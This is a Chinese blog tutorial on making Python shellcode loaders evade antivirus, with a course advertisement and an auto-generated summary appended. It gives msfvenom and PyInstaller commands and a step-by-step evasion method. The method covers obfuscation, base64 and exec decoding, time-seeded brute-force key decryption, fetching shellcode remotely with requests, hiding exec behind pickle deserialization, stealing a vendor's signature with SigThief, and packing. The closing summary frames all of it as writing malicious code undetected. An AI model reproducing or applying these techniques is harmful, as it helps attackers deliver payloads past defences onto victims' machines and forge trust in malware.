Python免杀技术详解

Shellcode加载器

在网络安全领域,Shellcode加载器通常被黑客用于将Shellcode加载到目标计算机的内存中并执行它。这些加载器被安全专业人员、研究人员和安全分析师用于分析恶意软件样本中的Shellcode部分,以便了解恶意软件的行为、目的和潜在威胁。Python的灵活性和强大的库,使得Python逐渐被用于Shellcode的加载和免杀技术。

我们可以利用Python中的ctypes库实现shellcode的加载,ctypes是Python的外部函数库。它提供了与C语言兼容的数据类型,并允许调用DLL或共享库中的函数。可使用该模块以纯 Python形式对这些库进行封装。

以下是一个例子:

从上面的代码可以看出,Shellcode加载器一般分为3步:

申请内存->Shellcode写入内存(-> 修改内存属性)->执行该内存。

上面这段代码就是一个经典的Shellcode加载器,主要使用了以下的api:

① VirtualAlloc动态申请内存

② RtlMoveMemory将Shellcode拷贝入申请空间

③ CreateThread创建线程运行

1.加载与执行Shellcode的程序

代码执行完成后,Shellcode加载器就会将buf中的二进制代码放入内存中执行,由于Shellcode本身较为复杂,很难由人来直接编写,所以我们可以借助工具例如cobaltstrike或者msf来得到。我们可以在kali系统中输入指令:

msfvenom -p windows/x64/exec CMD=‘calc.exe’ -f py

这样我们就得到了一段cmd命令执行打开计算器的Shellcode,我们将他替换到下面代码中的的buf中执行即可。代码如下:

最后成功打开计算器

2.生成shllcode

我们来使用CS生成的Shellcode,选择下面的选项:

选择监听器

输出选择64位Python

点击生成后会输出一个payload.py文件,里面的变量buf就是我们的Shellcode。

3.打包生成exe文件

我们可以使用pytinstaller、Nuitka、py2exe等工具来对上面的代码进行打包。以下是一段使用pyinstaller打包的例子:

Pyinstaller -F Shellcodeload.py -i google.ico -w --key=9873121

具体使用参数可以查看官方文档。

由于我们没有进行任何修改,生成的exe文件不具有任何免杀效果,它会轻易的被杀毒软件查杀。为了达到免杀效果,我们需要从多方面去考虑:Shellcode特征、加载器特征、流量特征等等。

免杀

1.静态免杀

(1)混淆

既然杀毒软件是通过提取特征码来实现病毒识别的,那么我们就可以添加一些无意义的代码,俗称“花指令”来改变文件的哈希值,或者修改变量名,导入库重命名等等,例如我们可以将:

import ctypes

修改成:

import ctypes as jduvudu312us_usjlq

这样之后的代码就可以使用jduvudu312us_usjlq 来调用ctypes库了

即:

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

jduvudu312us_usjlq.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

是等价的,这样我们就可以规避一些特征码的检测。

还有例如buf = b"“,可以写成 ccookkkdasdwwwwwsasssw=b”",或者还可以写入一些无用代码,例如冒泡排序以及多次调用与shellcode加载无关的函数,以下是一个例子:

之后可以多次调用Ge22nw1(int),混淆的代码不影响主代码的运行。诸如此类,作抛砖引玉之用。

(2)编码

编码是数据保存的一种方式,我们可以通过重新编码来绕过特征的检测,例如base64、base32等,以下用base64举例:

我们将上面函数main(buf)内的代码使用base64编码,如下:

这样我们就得到了shellcode加载器的base64编码格式,同样的,我们需要将shellcode也编码一下以规避特征码的检测,这里以计算器为例子:

buf=b"计算器shellcode(见上面代码)"

print(base64.b64decode(buf))

在得到了这些编码过后的代码,我们就可以进行解码执行操作,例如使用exec()函数:

或者使用eval()函数,例如:

注意,在这个过程中,由于我们编码时并未将导入库的操作编码,因此我们需要在文件开头提前把所需要的库导入。

我们还可以进行多次编码,这里不再赘述。

(3)加密

常见的加密方式有很多:Aes,异或,凯撒等,使用的方式其实和上面base64编码差不多,只是将base64替换成对应加密解密即可,在这里不再赘述,这里主要对动态key解密免杀进行讲解。

在常见的加解密中一般都有一个key值,这里以凯撒加密作为例子:

当我们使用凯撒加密时,我们需要指定一个key值,这个值其实可以理解为偏移量,当我们解密时,只需要我们输入正确的偏移量就可以得到明文。

在解密时,这个key值我们通常是知道的,但是在免杀的应用中,如果我们给出了指定的key值或者key值设置的过于简单,那么通常杀软能够逆推出原来的shellcode,对还原后的明文文进行特征检测,这样就失去了加密的意义。

因此我们的解密过程我们可以实现动态key解密,一个常见的例子是:我们可以使用时间撞库的方式多次解密,只要有一次得到了正确的key,就能成功执行shellcode中的内容(假设我们的key的值为7)例如(伪代码):

在10000次撞库中,概率学上来说终究有一次循环中key=7,因此在这次循环中我们就可以执行正确还原后shellcode。

不只是key,我们同样可以在已经加密的shellcode中插入无用字符,通过时间撞库的方式还原,例如:

buf=“计算器shellcode前1/3”+“混淆例如ncoioqjdoqwj”+“计算器shellcode中1/3”+“混淆例如ncoioqjdoqwj”+“计算器shellcode后1/3”+“混淆例如ncoioqjdoqwj”

通过时间撞库解密(伪代码):

For i in range(10000):

random.seed=time.time

set = random.randint(0,20)

shellcode = buf[:前1/3]+buf[前1/3+set:后1/3-set]+buf[后1/3:]

try:

exec(mimaxue_decode(shellcode,key))

except:

pass

值得注意的是,由于解密通常需要一定时间,时间撞库的方式通常通常可以规避一定的行为检测。同样,这里我们可以进行多次嵌套加密,也可以使用复杂度的更高的加密算法,以避免杀软逆推出原本的shllcode。

(4)文件分离和应用

我们可以将整个shellcode加载器分为两个部分,下载shellcode和执行。加载器除了加载大马外并无其他作用。但是直接执行大马会被检测到,所以需要用到分离免杀。

我们可以通过各种方式来做文件分离,例如python的request库、socket通信等,这个过程我们同样需要进行混淆和加密来避免特征,尤其是shellcode。

以下是一个例子:

aaascasca =requests.get(“http://127.0.0.1/sc.txt”).text.encode()

我们通过requests库来远程获取shellcode,这样就可以将shellcode代码保存在远程服务器上,避免文件落地,同时也减小了文件大小。我们还可以对远程下载的shellcode进行加密,等下载到本地后再进行还原,以下是一个例子:(伪代码,仅展现思路,结合混淆和加密)

这里只做了两次次加密,事实上可以将key的值隐藏,并且进行多次加密,可能的话,可以加解密10次甚至20次并设置睡眠时间,以规避杀软检测。

但是也有些杀软会对下载解密的行为报毒,可以将shellcode加载器存放在本地以时间撞库的方式解密,只将shellcode存放在服务器上,等到加载器解密完成再下载shellcode直接写进内存。

(5)反序列化

有些杀软会将部分函数列为高危函数,那么当调用该函数时就容易触发查杀,但是有些函数我们有时候又无法避免使用,这个时候就可以将其序列化并加密,之后使用时再通过自定义的解密方式反序列化调用python有两个模块处理序列化操作 pickle模块与json模块。

这两个模块都提供了dump,dumps ,load ,loads 方法来进行序列化与反序列化操作。其中dump与load方法配套使用,dumps与loads方法配套使用。

这里我们使用pickle库将exec序列化:

输出:

我们这里可以对输出进行加密,类似于:

def encrypt(input_bytes, key):

。。。。。。

return output

def decrypt(output_bytes, key):

。。。。。。

return input

实际应用:

在上面的代码中我们用 pickle.loads 反序列化执行 “HHHHHA = exec”,HHHHHA 变成exec函数,再执行解密后的shellcode加载器。这个过程可以加入上面的混淆、加密、分离的思路,这里不再赘述。

(6)签名

签名是一种数字签名证书,给python打包的exe签名至少可以减少一半的报毒,我们这里使用的是sigthief工具。

地址:

https://github.com/secretsquirrel/SigThief

使用方式:

./sigthief.py-i 360.exe -t shellcodeloader.exe -o /result/ shellcodeloader.exe

具体参数可以查看github文档

这样我们就将360的签名窃取下来了,或者我们还可以使用微软的SignTool来生成一个无效的签名,只要杀软没有对签名进行验证,那么就可以一定程度上规避检测。

(7)加壳

加壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。

加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征,容易被杀软检测。

面对这种情况可以考虑用一些冷门的加密壳,特别是对于不开源的PE文件,通过加壳可以绕过很多特征码识别。

---------------------------END---------------------------

题外话

当下这个大数据时代不掌握一门编程语言怎么跟的上时代呢?当下最火的编程语言Python前景一片光明!如果你也想跟上时代提升自己那么请看一下.

在这里插入图片描述

感兴趣的小伙伴,赠送全套Python学习资料,包含面试题、简历资料等具体看下方。


👉CSDN大礼包🎁:全网最全《Python学习资料》免费赠送🆓!(安全链接,放心点击)

一、Python所有方向的学习路线

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照下面的知识点去找对应的学习资源,保证自己学得较为全面。

img
img

二、Python必备开发工具

工具都帮大家整理好了,安装就可直接上手!img

三、最新Python学习笔记

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。

img

四、Python视频合集

观看全面零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

img

五、实战案例

纸上得来终觉浅,要学会跟着视频一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。

img

六、面试宝典

在这里插入图片描述

在这里插入图片描述

简历模板在这里插入图片描述

👉CSDN大礼包🎁:全网最全《Python学习资料》免费赠送🆓!(安全链接,放心点击)

若有侵权,请联系删除

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Python免杀是指在编写Python恶意代码时,通过一系列技术手段绕过杀毒软件的检测和阻止。在进行Python免杀时,可以采取多种常用的静态免杀技术,如特征码定位修改、填充花指令、文件加壳、内存执行、shellcode混淆、shellcode和loader分离、木马资源修改和调用系统白名单等。这些技术可以帮助我们在编写Python恶意代码时避免被杀毒软件检测到。 其中,特征码定位修改是指通过修改代码中的特征码或者特征码的位置,使得杀毒软件无法识别恶意代码。填充花指令是在代码中插入一些无实际功能的指令,以混淆代码结构,增加杀毒软件的分析难度。文件加壳是将恶意代码嵌入到其他可信的文件中,以绕过杀毒软件的检测。内存执行是将恶意代码直接加载到内存中执行,避免了被杀毒软件静态检测的可能。shellcode混淆是通过对shellcode进行变形或加密,使其难以被杀毒软件识别。shellcode和loader分离是将shellcode和加载器分离,使得杀毒软件难以检测到完整的恶意代码。木马资源修改是通过修改恶意代码所依赖的资源文件或者库文件,绕过杀毒软件的检测。调用系统白名单是指利用操作系统的合法功能或者系统自带的程序来执行恶意代码,使其被认为是正常行为而不被杀毒软件拦截。 需要注意的是,不同语言的shellcode和loader在免杀效果上有所差异,而Python免杀中的效果相对较好。此外,选择小众语言和不同的exe打包器也可以提高免杀效果。同时,在编写Python恶意代码时,尽量避免使用敏感词汇,以降低被杀毒软件查杀的概率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值